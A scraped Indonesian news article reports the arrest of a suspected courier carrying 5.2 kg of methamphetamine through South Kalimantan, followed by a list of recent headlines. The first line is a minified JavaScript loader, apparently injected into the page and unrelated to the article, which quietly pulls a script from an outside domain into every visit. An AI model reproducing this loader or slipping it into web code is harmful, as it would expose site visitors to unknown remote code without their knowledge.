(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

5,2 Kg Sabu Masuk Kalsel, Dibawa N dari Jaringan Narkoba Lintas Provinsi


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) berhasil menangkap seorang pengedar narkoba dengan barang bukti cukup besar.

N (43) ditangkap oleh jajaran Subdit III Ditresnarkoba Polda Kalsel pada Kamis (25/1/2024) dini hari, di Jalan A Yani Km 12,700 Kecamatan Gambut Kabupaten Banjar.

Dari tangan N, polisi berhasil mengamankan barang bukti sabu dengan berat bersih 5.225,16 gram atau 5,2 kilogram yang disimpan dalam plastik bekas popok.

Baca juga: Cek U Turn A Yani Banjarbaru, Ada Titik Putar Balik yang akan Ditutup

Pelaku N ditangkap setelah polisi mendapatkan laporan dari masyarakat sering terjadi transaksi narkoba. Dari informasi awal itulah Subdit III Ditresnarkoba Polda Kalsel kemudian melakukan penyelidikan dan meringkus N di Jalan A Yani KM 12,700.

“Petugas melihat gelagat mencurigakan pelakunya yang mengendarai sepeda motor, setelah dihentikan dan dilakukan pemeriksaan ditemukan 52 paket sabu di dalam bungkus plastik popok warna hijau putih merk merries,” kata Kasubdit III AKBP Zainal Ariffin, Senin (29/1/2024) kemarin.

Saat diinterogasi, N yang diduga sebagai kurir ini mengakui jika barang haram tersebut disimpan dan dibawa olehnya menggunakan sepeda motor.

Baca juga: Dua Pengedar Sabu di Desa Pasar Senin Ditangkap

Pengungkapan kasus narkoba jaringan lintas provinsi itu kata Kasubdit, berasal dari informasi dan database serta sientific investigasi.

Hasil pendalaman sementara, narkoba yang diedarkan pelaku adalah barang haram jaringan narkoba lintas provinsi dari Kalimantan Barat (Kalbar) yang akan diedarkan ke Kalsel.

“Jalur edarnya Kalbar, Kalteng, Kalsel,” kata AKBP Zainal.

Baca juga: Tergeletak Tak Bernyawa di Tempat Wudhu Masjid Al Karomah Martapura

N serta barang bukti sabu dan sebuah sepeda motor telah ditahan Ditresnarkoba Polda Kalsel untuk proses hukum lebih lanjut.

Lelaki itu terancam dengan jeratan pasal 114 ayat 2 sub pasal 112 ayat 3 jo pasal 132 ayat 1 Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

2 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

3 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

3 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

7 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

9 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

9 jam ago

This website uses cookies.